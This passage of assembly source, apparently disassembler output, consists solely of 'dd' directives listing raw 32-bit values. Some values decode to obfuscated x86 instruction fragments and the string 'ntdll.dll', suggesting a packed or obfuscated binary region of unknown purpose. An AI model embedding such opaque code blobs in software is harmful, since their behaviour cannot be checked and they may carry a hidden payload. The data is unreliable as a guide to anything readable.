		dd 2725F0EFh, 91ECD5BEh, 0ED5AD3BDh, 0C3E78D2Ah, 4C0C2213h
		dd 0BFE5h, 31A82B00h, 43C474AEh, 9413C65Ch, 2CA729F1h
		dd 45FC71A9h, 0BFEAD542h, 61C833Eh, 6CB6D956h, 0B06A6DEEh
		dd 661D803Bh, 1C5CDE27h, 0A2D854EFh, 0ED6FD8F5h, 0DA7CF02Ah
		dd 2580F73Ah, 5F6D5EFAh, 442B0976h, 46894F05h, 98E5B815h
		dd 54EF5FF5h, 0D3CF8E41h, 1CD7E564h, 540319B3h,	0E368B2D5h
		dd 47158C41h, 15F45B8Ch, 0EF284A28h, 0AC69AA54h, 93CE3B2Ch
		dd 744E9A81h, 0C66EED0Ch, 10C39916h, 0F562B8DFh, 0C7779372h
		dd 16C37048h, 9436B842h, 9CE1A427h, 8F7D0E9Eh, 0D0E8DD1Eh
		dd 0BF0D8A4Ah, 1AAE29ADh, 0BA72BE08h, 0B9585822h, 0E14BB32h
		dd 3BFACE49h, 8, 51CE8E94h, 5106D784h, 7F4DC477h, 0DDEF6EEDh
		dd 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h,	0CA9E19DBh
		dd 0AA3EB930h, 0D5FD890h, 4EC81B3h, 89000000h, 0E2892414h
		dd 4C281h, 0EA830000h, 24148704h, 2293685Ch, 34890000h
		dd 7B206824h, 2C890000h, 26BF5724h, 8905EA1Dh, 243C8BFEh
		dd 4C481h, 0EC830000h, 24248904h, 4240483h, 1D75685Dh
		dd 3C890000h, 89F78924h, 8B5F087Dh, 8956242Ch, 4C681E6h
		dd 83000000h, 348704C6h, 348B5C24h, 0E1895124h,	4C181h
		dd 0C1830000h, 240C8704h, 4608E95Ch, 3DCDFFFAh,	0D050B724h
		dd 0EA3740B8h, 50C50305h, 2A4985C6h, 684705E4h,	0CF381725h
		dd 28E5B5FFh, 858D05E4h, 5E43994h, 0D88BD0FFh, 501858Dh
		dd 685005E4h, 104h, 85C6D3FFh, 5E42A49h, 0F8BF6853h, 0B5FF8307h
		dd 5E428E5h, 3994858Dh,	0D0FF05E4h, 1B078589h, 0BD8305EAh
		dd 5E42265h, 0B840F00h,	8B000000h, 0E432A19Dh, 5E905h
		dd 0BB0000h, 68000000h,	100h, 1B0BB58Dh, 535605EAh, 2A595FFh
		dd 0B58D05E4h, 5EA1B0Bh, 1E9F003h, 4E000000h, 0F5C3E80h
		dd 984h, 2F3E8000h, 0FFED850Fh,	6C6FFFFh, 0B858D00h, 5005EA1Bh
		dd 1B0795FFh, 0FF5805EAh, 8B54ABE0h, 0F0085210h, 0C8638C40h
		dd 1B570A00h, 0D3E5F266h, 2DD8172Ch, 5BC3DD31h,	1844F475h
		dd 1D32A772h, 688D8D4Dh, 6A05EA39h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 2B63C357h
		dd 0CE8h, 9511FF00h, 0CC864EE2h, 0D5941881h, 295AF5D0h
		dd 0E42725B5h, 958D8905h, 8905E410h, 0E4095195h, 6585C705h
		dd 5C05E42Ch, 33000069h, 0E42E6DBDh, 0FD85C705h, 5E430h
		dd 29000000h, 0E4006D85h, 1B5FF05h, 6A05E410h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0E822C351h, 0B4EA040Fh, 143BF9A3h, 2A6195FFh, 6A05E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0A5412AC3h, 69BE009h, 52619281h, 8DF78166h, 6A5F01h
		dd 10C195FFh, 0C08B05E4h, 0E4A579EBh, 35906A21h, 0E92941C6h
		dd 661E310Bh, 91AE9AC1h, 3C5A67C0h, 79F50B0Dh, 7B73B324h
		dd 0A1A0A75Eh, 61527ED8h, 1424FC71h, 72BB40B7h,	8A4FA64Fh
		dd 0DA6F7B42h, 4C785CE3h, 0EC69881h, 0D286FC0Bh, 0B8496207h
		dd 0CAB6B60Ah, 0B7D8200Ah, 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h
		dd 0DB45B90Ch, 1FB4E61Dh, 456347FAh, 2F89F8ADh,	3F4EED63h
		dd 84A02498h, 6437EF17h, 0EB2CFC39h, 0F5B24A04h, 4E1E92Eh
		dd 0D5860000h, 6BEF3B5Ah, 0B831E9ECh, 0D2849E01h, 69EC3659h
		dd 7F3EEFEEh, 0A92CAB2Ah, 4342FD71h, 0F79611C7h, 0AA2DAC2Bh
		dd 0F1734C13h, 7354EF1Eh, 0C0775E35h, 64E97349h, 7A4B2AEDh
		dd 4F04E5F8h, 0B7D68374h, 0AA6DEC6Bh, 4467F970h, 48FB8617h
		dd 9A496354h, 68CA3Bh, 13C44F05h, 0ECB31246h, 4FF9193h
		dd 1839134Fh, 1DEBAEBBh, 3C663364h, 9EAC3CBFh, 0F50F5DDAh
		dd 0D72A7A50h, 0C47E67B0h, 0A2434F0Bh, 0F713B235h, 5BC7C641h
		dd 74E1A9Dh, 80D85F1Bh,	6C3ED64Ah, 0B7CF4FFh, 1790444Eh
		dd 131FE545h, 0DCC344F2h, 42169146h, 5D29C9Dh, 0C74564Fh
		dd 0AC8EF756h, 84F05D2h, 5B280AC7h, 8C2E15B6h, 8Dh, 3615E3Dh
		dd 614F05C7h, 77F4E5AEh, 9C8649C0h, 0D2015BDCh,	8CEC5379h
		dd 0A64F04E6h, 5C461C04h, 974C1C9Fh, 0C98BF83Ah, 0EFC2E14h
		dd 0ED000000h, 251A03B5h, 4F04DA47h, 540172A5h,	67D6CC07h
		dd 763D0E8h, 5182D651h,	59DE9A84h, 0F671F903h, 0CA4D0B17h
		dd 0C08845FEh, 0A416B83Ah, 50E2F62Bh, 6FEB0A76h, 7D7C1F1h
		dd 0ABF7C35Ch, 5A7DAE29h, 1AAE2F7Bh, 2BE4D95Eh,	26368EFh
		dd 4F04FD20h, 76F4C99Ch, 0F64F04FDh, 0F89FD005h, 4BC6776Fh
		dd 0A0DF9E84h, 5A7EDB08h, 3D8F08C0h, 8CD6DAA0h,	0EEAB2496h
		dd 17B631A4h, 0FFCD4C0Bh, 0AF9077D6h, 4F04E5CDh, 0B5B7EC2Fh
		dd 374F04E5h, 4A0F0BC4h, 0A51208CFh, 98CD4C0Bh,	124613C0h
		dd 0F1CB4408h, 5A6EE96Bh, 0E6377B4Fh, 0CFC4BC7Eh, 80DB0CABh
		dd 343FF63Ah, 0A52E1587h, 72h, 4BC677F0h, 0EB6EEB71h, 397943D1h
		dd 908315D8h, 36B5D24Bh, 44DEC132h, 0B8421691h,	7BDABD36h
		dd 86C9AB94h, 0E82B4F05h, 586B9BBh, 15F83B4Fh, 5874A28h
		dd 0AC69AA4Fh, 8989512Ch, 954187D3h, 982A3B83h,	3C78FB3Fh
		dd 3AE12E15h, 34000000h, 714BC677h, 14C36DEBh, 0B408A095h
		dd 8A4BAAD6h, 0EB02B59Dh, 0D4577764h, 5E58DEFh,	0FB2CEF4Fh
		dd 0C37703D4h, 6EF37444h, 0B84F04E6h, 4C37FE22h, 0BD2E14C9h
		dd 1, 47C277D8h, 58DF9A80h, 5206D300h, 308803C8h, 7F9E8268h
		dd 6D587FFAh, 375332B0h, 85BE0A85h, 8C9675C8h, 0C67D4FC8h
		dd 11DB240Dh, 0E13B54E9h, 58B0B82Eh
		dd 16A297C1h, 0C1C447F4h, 411B9259h, 0E9C39A9Eh, 41A93854h
		dd 8B2DA49Bh, 4F0BC4FFh, 0B235A243h, 0E040F713h, 2FBDEE69h
		dd 8DDF5E1Dh, 8766AAF0h, 0C43659D0h, 33F96B7Fh,	11EE8h
		dd 6FD82F00h, 0E624067Fh, 6AE04F04h, 0F802F5F1h, 71E2F671h
		dd 7B64593Ch, 1B54E903h, 0FD7A80D8h, 8CF5B7Ah, 0AA213B91h
		dd 0BE0C9933h, 45F22872h, 117DF6C2h, 1E1E97Fh, 89957EAEh
		dd 0F6444BC2h, 33F9C08Dh, 46FEh, 62D81900h, 0AAD825E8h
		dd 8A4F04E6h, 6ECC7349h, 0ED4F04E6h, 0B932A4FEh, 7B673023h
		dd 0B817937h, 88276E44h, 4B930CB9h, 0B4C63F8Eh,	4B4F0569h
		dd 4C1C9B5Fh, 48CF8B97h, 6D30E38Fh, 4A078635h, 91B43Bh
		dd 0D8E30000h, 0D52AED6Fh, 54E8F6F8h, 13298374h, 78A225A4h
		dd 0F7BE61F3h, 0D1727600h, 6BE1399Ch, 9742D8F0h, 568BB810h
		dd 49AC8EF7h, 0C70854E9h, 96994E0Ah, 0C454E94Ah, 1CDB3A66h
		dd 4A34360Fh, 66B054E9h, 0EF81FB3Fh, 0C2376818h, 33A6FCC3h
		dd 622F24B4h, 0F95CDE97h, 0CE49001Ah, 0A78C49FAh, 5AD361A9h
		dd 0AAB008CBh, 4E1EAA2Dh, 881C331Fh, 0BB7AF8C5h, 39FA4F13h
		dd 0EBFF6CDDh, 267CA42Eh, 0ECFC7FFCh, 66DF9A77h, 42DC21E4h
		dd 3254FE00h, 0D809DEC1h, 9611C46Fh, 79DC11C2h,	9933AA21h
		dd 211EE1AAh, 54EF2027h, 0DFCB8A4Dh, 0A537E01Fh, 0F659D087h
		dd 1F4C2E17h, 67A854EFh, 480F1BAAh, 9344FBD1h, 93800EABh
		dd 4809A326h, 0FA9AF577h, 7A84777Dh, 9A6E7AFDh,	0E638F030h
		dd 0C675949Ch, 8E09CDD5h, 0FA9AD351h, 187517Dh,	0B1334361h
		dd 6B6A5F90h, 0DD5A1E04h, 26A11670h, 4DC68892h,	0DDC5AF7Fh
		dd 993CBF3Ch, 7953CA81h, 3B8h, 5106EF00h, 7F4DC477h, 0DDEF6EEDh
		dd 0BA0E894Fh, 19B32CA0h, 85D75203h, 617BF667h,	0CA9E19DBh
		dd 0AA3EB930h, 0D5FD890h, 0E68956B3h, 4C681h, 0EE830000h
		dd 24348704h, 2434895Ch, 28EB68h, 242C8900h, 8904EC83h
		dd 0F1682404h, 8B05EA39h, 0C481242Ch, 4, 8904EC83h, 4832424h
		dd 83580424h, 2C8904ECh, 8408F24h, 5024048Bh, 405E089h
		dd 83000000h, 48704C0h,	2C8B5C24h, 0E1895124h, 4C181h
		dd 0C1830000h, 240C8704h, 3EF8E95Ch, 1F39FFFAh,	0B88991E9h
		dd 5EA3E60h, 0E0FFC503h, 4BBD15FDh, 2580C7D7h, 64FAFAA4h
		dd 44515B0h, 2973337Ah,	6B984423h, 16B733F1h, 7812B4D8h
		dd 3FD08D8Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 89FDEFC3h, 0E410958Dh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0F87DB603h, 2E9A4179h, 858BAA62h, 5E42505h, 25818589h
		dd 85C705E4h, 5E42C65h,	6308h, 0C7FA8B66h, 0E430FD85h
		dd 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 1D42BE68h, 95890DD0h, 5E4160Dh, 25F5B5FFh
		dd 6A05E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0A12667C3h, 0B727D266h, 95FF8F7Dh, 5E42A61h
		dd 3A9B529h, 6A05E4h, 10C195FFh, 0C08B05E4h, 0C86528EBh
		dd 8EFE27Ch, 4DD18ABCh,	36E0CEE7h, 0BE655F3Dh, 0B54AD9CCh
		dd 0A2C24DBAh, 0ADFC485Eh, 2E737809h, 2FCFF399h, 7E8C349h
		dd 30000000h, 870FE1E6h, 8E0F0107h, 0
		dd 0BB666058h, 13E9C450h, 82000000h, 4C75C79Eh,	4663320Ch
		dd 0E42EC420h, 53170830h, 8161A233h, 594DC0h, 0F9A7BB00h
		dd 2F68265Bh, 59000016h, 8E9h, 9C2E2C00h, 765CA1FCh, 8B308B79h
		dd 0E4004995h, 0D3C68105h, 8B4A260Ch, 0E41B5D95h, 0BDC68105h
		dd 6642D16Fh, 81D307BFh, 37FCACF6h, 1EA8010h, 0D98B3089h
		dd 6603E883h, 7F4FF281h, 0FEA6BB48h, 0E98157B1h, 1, 0FFBB850Fh
		dd 958BFFFFh, 5E424D9h,	0FE8h, 99ACE300h, 42521991h, 1854CEF3h
		dd 9A6C27F1h, 8B0Fh, 0E8580000h, 0Dh, 0E3F6688Ch, 248160D8h
		dd 22B2AFFBh, 81BD315Fh, 5E05E427h, 67E3C081h, 8B660000h
		dd 19B768D7h, 800F0000h, 0Bh, 5860Fh, 81660000h, 59A94EF2h
		dd 1765B589h, 30FF05E4h, 391B58Bh, 895F05E4h, 0E42D8595h
		dd 53C78105h, 0E92B4E5Ch, 0Eh, 94420D9Dh, 2222757h, 0D46F953Ch
		dd 0C7815185h, 1AA12E7Ch, 0F2DFC781h, 59B25866h, 12E857h
		dd 53F30000h, 0B5EE514Fh, 686FB986h, 8DFC2843h,	0CF63F17Ch
		dd 27818D89h, 8F5A05E4h, 71B58900h, 8105E427h, 0D71247E8h
		dd 65B58973h, 8105E426h, 0D71243C0h, 15950B73h,	8105E41Eh
		dd 1E9h, 1B850F00h, 0BE000000h,	2A20DA37h, 2BE9h, 638B700h
		dd 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 9D8BC0F2h, 5E403F5h
		dd 0FFFF59E9h, 0C25946FFh, 3DD62F36h, 69A28FBFh, 0FE69946Ch
		dd 0FE8h, 0F05D1200h, 9713C2E4h, 0B79DDBC5h, 5F7CD353h
		dd 7359D89h, 295E05E4h,	0E4195D95h, 89C68105h, 0F00006Ah
		dd 488h, 22B96600h, 6748B8C1h, 0F0813206h, 32067D3Dh, 0F6DBD8Bh
		dd 1E8B05E4h, 27A5BD89h, 0C38105E4h, 2F50612Ch,	0D29958Bh
		dd 0C38105E4h, 1DB92C11h, 99952957h, 5A05E421h,	68A4F381h
		dd 13E9502Fh, 99000000h, 0F6A69413h, 37F4ED61h,	6F3260D3h
		dd 81CE76EBh, 1E89E48Ah, 0EE9h,	72EE8400h, 0EC72C644h
		dd 8765EE01h, 833591FDh, 8D0F04EEh, 17h, 12E9h,	72613500h
		dd 1B6FA28Dh, 0EB83C1A1h, 77B123BAh, 48EFA66Fh,	0FF84850Fh
		dd 26EBFFFFh, 33B61B90h, 558EAFECh, 6C64746Eh, 6C642E6Ch
		dd 2188006Ch, 5D340746h, 460AA3D2h, 61FBh, 0
		dd 0D8E90000h, 68000006h, 5EA440Eh, 0FA3B29E9h,	44E768FFh
		dd 1FE905EAh, 68FFFA3Bh, 5EA459Fh, 0FA3B15E9h, 466B68FFh
		dd 0BE905EAh, 68FFFA3Bh, 5EA4725h, 0FA3B01E9h, 47F068FFh
		dd 0F7E905EAh, 0B9FFFA3Ah, 218BF36h, 54CED156h,	0A76362E5h
		dd 0F1BBA35h, 5BCCD34Eh, 11884D5Ch, 0A720948Eh,	0FB7CFA20h
		dd 0E894ED4h, 0AC91F08Fh, 54EF27CEh, 0CC03582Eh, 0D1EB64D6h
		dd 0E5AD8FF0h, 0CC0F4F04h, 448F3E9Bh, 0DE000000h, 8649C077h
		dd 0E65CDE27h, 17D84F04h, 4F0C1EBAh, 0D02109CCh, 3A0A766Dh
		dd 64D9ECA9h, 4F05CD02h, 7C415402h, 4F05CCFEh, 0DF92A47Eh
		dd 45C2EAD4h, 0D9B8DF10h, 627057Ah, 7B854F05h, 0F56E7AFDh
		dd 0D886D780h, 0F02AED6Fh, 7DF6C27Dh, 9830AB21h, 261FEEABh
		dd 54E8EF39h, 5ADD9C86h, 7E78D50Eh, 36382FBDh, 9154E8EEh
		dd 7793C9C9h, 0C2714BC6h, 5BB2E988h, 10FD2A5Eh,	0F8FD65DEh
		dd 2599633h, 48C10000h,	51FAB361h, 984B6198h, 0E29FE0A7h
		dd 8954E90Fh, 0F6A3DA91h, 5E440BCCh, 0C87499Fh,	65287BCh
		dd 0D5B400CDh, 3D8F0ECDh, 0F3644D06h, 5C1917B7h, 41BE61E3h
		dd 16B37BD8h, 74617BBCh, 598120BBh, 0B7E366D3h,	0D7E1305h
		dd 0A023754Ah, 8E41191Ah, 0CC64D3CFh, 1E3C8C0Fh, 9F65674h
		dd 75A61Fh, 1796455Dh, 0A2C58E45h, 7378F378h, 6059B283h
		dd 0A2DDA434h, 79000004h, 0C2587FF6h, 140E9116h, 67A322A5h
		dd 0CF5B7AF5h, 1B0C930Eh, 0D1480D9Ch, 67E054CEh, 0BB3CBA60h
		dd 0CE490E14h, 6C5130CFh, 54EF2A0Eh, 7743186Eh,	569650C0h
		dd 0A0AC23C8h, 95745D6Fh, 5CFCAA8h, 2CE92A4Fh, 0B312904Dh
		dd 5266E157h, 6C5134E1h, 54E9E36Fh, 0B91D75D4h,	726D2FCBh
		dd 0D5BBB9E6h, 0F63954E9h, 0FF5E911Dh, 0DAB732A3h, 0DB8960CBh
		dd 2F0D7262h, 8D54E9D6h, 49B6194Ah, 5ACE0030h, 8C1278DFh
		dd 12F3EF8h, 2F97BA8h, 0B87B4F05h, 0B460D3DFh, 0A2BC804Bh
		dd 20A21BE7h, 9317007Dh, 0BC7FED86h, 6FC4B12Ch,	5F3E73EEh
		dd 65FF3066h, 0D7288FF2h, 0E7A3A755h, 2C039687h, 0BAC841h
		dd 0B77802CFh, 8A0DCAD0h, 21581F0Bh, 84D75C98h,	78399389h
		dd 3C9h, 21A4DF90h, 0D7F671F9h,	840B8E4Bh, 3CA3DC9Eh, 0D5F877E6h
		dd 0B1247540h, 0CB8B9736h, 1BD1494Ch, 0B625FDE0h, 0BAE99037h
		dd 0EF29E745h, 68274554h, 0E867D6CCh, 0C8B4AD0h, 0F95287BCh
		dd 0F85FDE9Dh, 27B532A2h, 7C69632Ch, 745E0183h,	0B22654B0h
		dd 62ACA735h, 27F01157h, 5CBE7F40h, 7DBE54E9h, 34B66F5Ah
		dd 24A8F251h, 692211ABh, 0D38C9508h, 6F2EE15Ah,	56D42988h
		dd 0D64F130Ch, 0DB0C8F4Ch, 24A7147Eh, 7BF279A1h, 50CF8E94h
		dd 4A0ECB78h, 235E1F0Bh, 48CA8376h, 5CDF9D85h, 0AB7AD70Ch
		dd 0E01FDEC4h, 2F49CE37h, 0EA2D54F7h, 39AC31CDh, 0BF06D21Ch
		dd 311h, 0E9EC67E8h, 9F3EB931h,	4C53D683h, 0E4EB64D6h
		dd 9D00BF3Eh, 0F97C2D88h, 13C35F7Eh, 0A329F194h, 0FE7DA528h
		dd 0E2A1587Fh, 0EF2A9F9Dh, 306F1D54h, 0FCCDE6CCh, 9D6A5E13h
		dd 0E661D630h, 0AC2EE7D2h, 0E58394E9h, 30E354E9h, 1912EADh
		dd 48790000h, 6AF1AEECh, 1768AD7Dh, 4F05D915h, 76AA497h
		dd 480F4009h, 0E9253A77h, 1FF93A54h, 261C8ED0h,	6EEC594Ah
		dd 0D4C556AFh, 6EA145C1h, 0AD2F7B5Ah, 25925932h, 0D46AC835h
		dd 519A4441h, 817F970Ch, 0DC11C2FCh, 35520479h,	41B24A29h
		dd 64C63F9Eh, 0C03FE075h, 0A7E3420Fh, 0B716B930h, 758DEFD0h
		dd 5EF3FE0h, 4F84D457h,	0E655B11Ah, 0DB0C8B4Eh,	48204292h
		dd 4223A931h, 245h, 0BD205B1Ch,	5372F565h, 8702B7h, 0B8DF581Ah
		dd 5174F362h, 2DA0F9C4h, 47F713B2h, 9F5DC5C8h, 2AA1791Ch
		dd 36952CB3h, 0EF2C6BC9h, 0E4B3C954h, 12106DCCh, 924F04E6h
		dd 7547C088h, 0C6C08DFEh, 97C29611h, 84F95CDEh,	54E8F907h
		dd 3611B467h, 0FE7C2963h, 2389261Fh, 2AED5ACDh,	8021D62h
		dd 0C4B1DDE7h, 0CA208746h, 0C063C7FDh, 0D5F902C3h, 63BAE84Fh
		dd 0F1C652Eh, 0B4E3CA76h, 358AE8D5h, 0BBEADA0Ah, 0A34E84Ah
		dd 5E9344DAh, 34A486FFh, 0CF00DA0Ah, 0DE9E7802h, 615C6CA1h
		dd 6E5736B4h, 0DFF1A238h, 0EE349B5Ch, 33EFEE69h, 76A40584h
		dd 8993418Dh, 18B62C3h,	0E1520000h, 3FBB6766h, 4C0D15B8h
		dd 9E50CACDh, 35B86265h, 0B3021BBAh, 0D5F877E6h, 8F0E894Dh
		dd 23A22593h, 0D6F970E7h, 2507782Fh, 8754EF2Dh,	0C077AAE1h
		dd 89467349h, 0B16E440Bh, 85A317E5h, 0AF907720h, 54E9638Eh
		dd 0E446BFEEh, 4054E962h, 936C2D96h, 4BBC0C3Fh,	0D8E67716h
		dd 0D52AED6Fh, 54EF28CCh, 0E894EA8h, 0AB207ADDh, 80356D30h
		dd 0D780B309h, 43ED6AB0h, 8B211295h, 0ACA61DEh,	0D3043F8Dh
		dd 6A94330Ch, 1FD05AD9h, 6BF562B8h, 0BF3D94A7h,	60271802h
		dd 0AD3FB83Ah, 50CADDB6h, 0B82499Bh, 7B5182B1h,	0F90705Ah
		dd 0B91C3AD6h, 5F6DEC6Dh, 97402BE4h, 0A04DB215h, 0FC54E998h
		dd 0FD9EB23Bh, 37A51C3Eh, 0C04Eh, 5DD48700h, 0EF68E03Ah
		dd 8732E8h, 58D3859Dh, 0F168ED35h, 2B7E39EEh, 72A82FAAh
		dd 0D84245C2h, 2CF69912h, 12A92CAFh, 2CF072B3h,	3E4C54EFh
		dd 0ED6FD861h, 28D4D52Ah, 0D5054EFh, 0EF283230h, 0C41B254h
		dd 8729AEBCh, 0CF0454D3h, 0A82FFB9Ah, 9FA49B31h, 97B90037h
		dd 636AEC36h, 332002h, 665B9CB1h, 0AA34E152h, 59D08766h
		dd 0EC6FEC36h, 2DADF5DCh, 0D9251EAAh, 12C19B12h, 609B5DB9h
		dd 0E62AF048h, 7BF466BCh, 0FD19F261h, 0B918FF7Eh, 6474EF61h
		dd 32B4B6EFh, 0D630B100h, 60D3E966h, 0C743622Fh, 62C39910h
		dd 15h,	106DCCB5h, 4F04E612h, 81FEA192h, 4F04E5A3h, 6805CE01h
		dd 4DC477E3h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh, 0D7520319h
		dd 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh, 8952B30Dh
		dd 4C281E2h, 83000000h,	0FF5204EAh, 5A042474h, 5C24048Fh
		dd 65C568h, 24048900h, 3FCF68h,	243C8900h, 6855BA52h, 0BF57781Dh
		dd 14D96EDFh, 5BCCF81h,	0EF817C3Ah, 2DAF6555h, 0E00FEF81h
		dd 0F889D154h, 5AD0315Fh, 4EC81h, 24890000h, 24048324h
		dd 0CD685F04h, 89000033h, 4812404h, 88327E24h, 8478F39h
		dd 7E086F81h, 0FF398832h, 835F2434h, 48B04C4h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 0FA345DE9h, 0B8F896FFh
		dd 5EA48D5h, 0E0FFC503h, 6F6D038Ah, 14F89A0Dh, 4E21B9F9h
		dd 0D4AF97Dh, 2FB0C151h, 61E7A02Ch, 7D6889B4h, 0E9A489Dh
		dd 2E381AEAh, 32E1E453h, 2C1EC694h, 1AE01366h, 1174C46Fh
		dd 70DBF9DFh, 0CADC3B5h, 2BD2053Dh, 79FECC1Ch, 4961A7AAh
		dd 7955D225h, 7FD5BA32h, 430E6DE2h, 32DB8A15h, 3036FCA4h
		dd 7115DB7Eh, 25C87586h, 0CE8h,	8C2EDC00h, 0D9E8BC06h
		dd 0F8EB093Eh, 6DBB5AA7h, 816AD96Fh, 61F0C2h, 0BEC9B500h
		dd 1856h, 8166028Bh, 810433E7h,	0DE9A4DF0h, 0F781666Fh
		dd 0F081A97Eh, 7AA75252h, 8112EF80h, 3601EEC0h,	20FABF67h
		dd 0F9505FF9h, 0D781028Fh, 15D93739h, 0DE5CEA81h, 6E90219h
		dd 0C000000h, 38C293F1h, 58C281EBh, 520219DEh, 4E595BB1h
		dd 1D850Fh, 0E1B90000h,	0E9714272h, 21h, 89431738h, 66644E70h
		dd 3A0F7EBFh, 8A597E81h, 0E9B616ACh, 0FFFFFF8Ch, 893FC5C3h
		dd 2D6B5A14h, 0F804EB1Ch, 0E9772A27h, 586h, 0C5C843F4h
		dd 7B1A9D5Dh
		dd 28AF2AAFh, 0C0C740F2h, 791C9B5Ah, 0D59811ACh, 6FEF3B5Ah
		dd 8735EDF0h, 0D2998104h, 0DE8D345Bh, 0EF3083E1h, 0CC9BE154h
		dd 8649C077h, 0C673DD9Ch, 17450E43h, 0C6C940F5h, 0BE39BBE7h
		dd 325C392Ah, 0FC430285h, 27B532A6h, 0E675F72Ch, 2DF74F04h
		dd 1CF92AADh, 0AE29AEBCh, 0CF48001Ah, 151D67FDh, 7FDD47F4h
		dd 4F1DC15Eh, 9C8649BAh, 0D3F25FD8h, 87068137h,	0FB5ADD9Bh
		dd 0FED54C9Fh, 0B76065C7h, 0D8570725h, 804C1D75h, 7C5BC692h
		dd 7D591FFEh, 5700A7A7h, 0F970E705h, 1A9559E3h,	0C289954Eh
		dd 0C2A8714Bh, 0E44E16DEh, 359F5DBCh, 0CCD30487h, 0AB05B5EDh
		dd 6577A82Fh, 72F925EEh, 0F97EE1FBh, 334F05DBh,	0E3A069A9h
		dd 142E15BEh, 76h, 49C07743h, 1C15AC86h, 0D2AA99B7h, 8CEC5379h
		dd 0A64F0558h, 6ED51C04h, 9F2E153Bh, 8,	0E760D2C8h, 24B51ED5h
		dd 7444C377h, 0D7E562D6h, 45088335h, 11D9C5Dh, 4F84D44Fh
		dd 8734D682h, 2296B404h, 3ECC88BCh, 0D70842CFh,	525E2485h
		dd 0F23E889Ah, 58B2A713h, 0B6E4FD8h, 1D1F4421h,	0FF4F05DDh
		dd 17D8C27Dh, 0C6DCA322h, 0CC79512h, 19904743h,	0C677E176h
		dd 4A50714Bh, 31B6228Ch, 9A77A89Bh, 987FF870h, 0E666C439h
		dd 15C64F04h, 258510B8h, 0DE591CFDh, 75F463BFh,	8C14C567h
		dd 43D2BC6Ch, 11AB9C0Bh, 6DE14F0Bh, 0AA2B81F2h,	4FDD755h
		dd 98E2554Fh, 0FC0E5AD5h, 79EAFE79h, 4981816Bh,	0A168A872h
		dd 2E14E6D2h, 813Bh, 0FA7EA400h, 1BF46F7Dh, 4BC677B2h
		dd 0CA6AE84h, 37EC4EB7h, 87484F05h, 6117E24Bh, 530624B4h
		dd 0EF6E84D4h, 0E8353708h, 136C4F04h, 4F04E811h, 0F526A093h
		dd 9372BE18h, 0BAE0A722h, 0CDD0BD3Ah, 0A669E055h, 2C149A4Ch
		dd 6B5625Fh, 0CD3E3587h, 37853CB1h, 0E379533Ch,	17E2F671h
		dd 0AD864FB3h, 0DE2E1502h, 57h,	4BC67779h, 1AA0AE84h, 169C2C2h
		dd 70E60454h, 0BB01E5F7h, 0A8279677h, 0C377B025h, 76B9F05Dh
		dd 0A3945A5Bh, 0E5524809h, 819D5662h, 0CD0652CDh, 263E2300h
		dd 12C64F05h, 0B425C795h, 7CC6A735h, 5530E534h,	0E19662B6h
		dd 226E7CACh, 14CA98EBh, 1C12Eh, 77140000h, 0D77547C2h
		dd 280A7B60h, 844F04E6h, 63BF1E53h, 0F16276F1h,	0ED4B424h
		dd 0F376E302h, 0AE2C99ECh, 0A71208EFh, 0C3728820h, 8AFF7444h
		dd 1217E0C1h, 0BC7F54E9h, 0D2BFF1D9h, 399D9E21h, 6A0B6956h
		dd 0A66954E9h, 9E5DEFEDh, 35A2781Fh, 412126B2h,	8154E96Ah
		dd 0A116F73Bh, 86D24D0Fh, 1675184Dh, 69EC4EB7h,	874854E9h
		dd 52CBF04Bh, 0BD168BD9h, 49639A51h, 0C3252208h, 2A87B1BBh
		dd 0C9E31CD0h, 0E655B11Ah, 91904F7Eh, 6EA39A04h, 8E09C05Ah
		dd 18AA203Ah, 5182D651h, 38054C1Ch, 54E8ED3Ah, 846E79BAh
		dd 0E5C5549Ch, 1C9F5CBDh, 0CFBA8979h, 0D2333F8h, 6A000001h
		dd 2AED6FD8h, 0E903CCD5h, 0A067A854h, 271CC14Ah, 0FC8A88Bh
		dd 8138BF4Dh, 0D457041Eh, 76F16684h, 0F735762h,	2FEE69EEh
		dd 42B800C3h, 865333F8h, 2D3013E7h, 555933F9h, 0FC000000h
		dd 0CC162D8h, 80FDA095h, 4F04E5F2h, 0E43EE152h,	69E3F972h
		dd 799D0E2Bh, 0C885F6C0h, 82DD5F80h, 0BB3F4F05h, 0DA9EAC3Ch
		dd 0D4BE0F5Dh, 0F15964ACh, 810BFFB1h, 24067FDEh, 804F0583h
		dd 0DBC06556h, 0BFF08373h, 803273D2h, 0DC4F0500h, 7DF5741Bh
		dd 20000000h, 16C46FD8h, 0F20CC795h, 0C88FC047h, 0E8F716F7h
		dd 24958D54h, 7A4EC98Ch, 0FC494C9h, 0E5F73842h,	76199047h
		dd 1CAC2FACh, 0E8F7442Bh, 6C947654h, 0B156CE8Dh, 942E1715h
		dd 4235588Dh, 0BAB88595h, 3A54E9B5h, 48B1F6E0h,	46BBD53Ch
		dd 654DB215h, 335AD37Ch, 0E552E8C0h, 2CF65662h,	7FFDAAE4h
		dd 68E13998h, 0D3DF24F1h, 0A154FD36h, 31A183FCh, 0D00354E9h
		dd 378502B6h, 13C4CB3Ch, 0E9F46FD8h, 24AA5B32h,	2C11F429h
		dd 54EF6EC4h, 225D1F0Bh, 0F6F05D96h, 936B511Ch,	0C63B7BC0h
		dd 0FA7AA007h, 8FF46F7Dh, 54EF8AADh, 0F671E50Fh, 7A80C885h
		dd 0CF5B7AFDh, 43B9108h, 0C7B0029Ch, 2BCA3690h,	0D95204ACh
		dd 0B239E1E4h, 6C3CA212h, 17B5F2EDh, 3C8CC132h,	9933AC2Eh
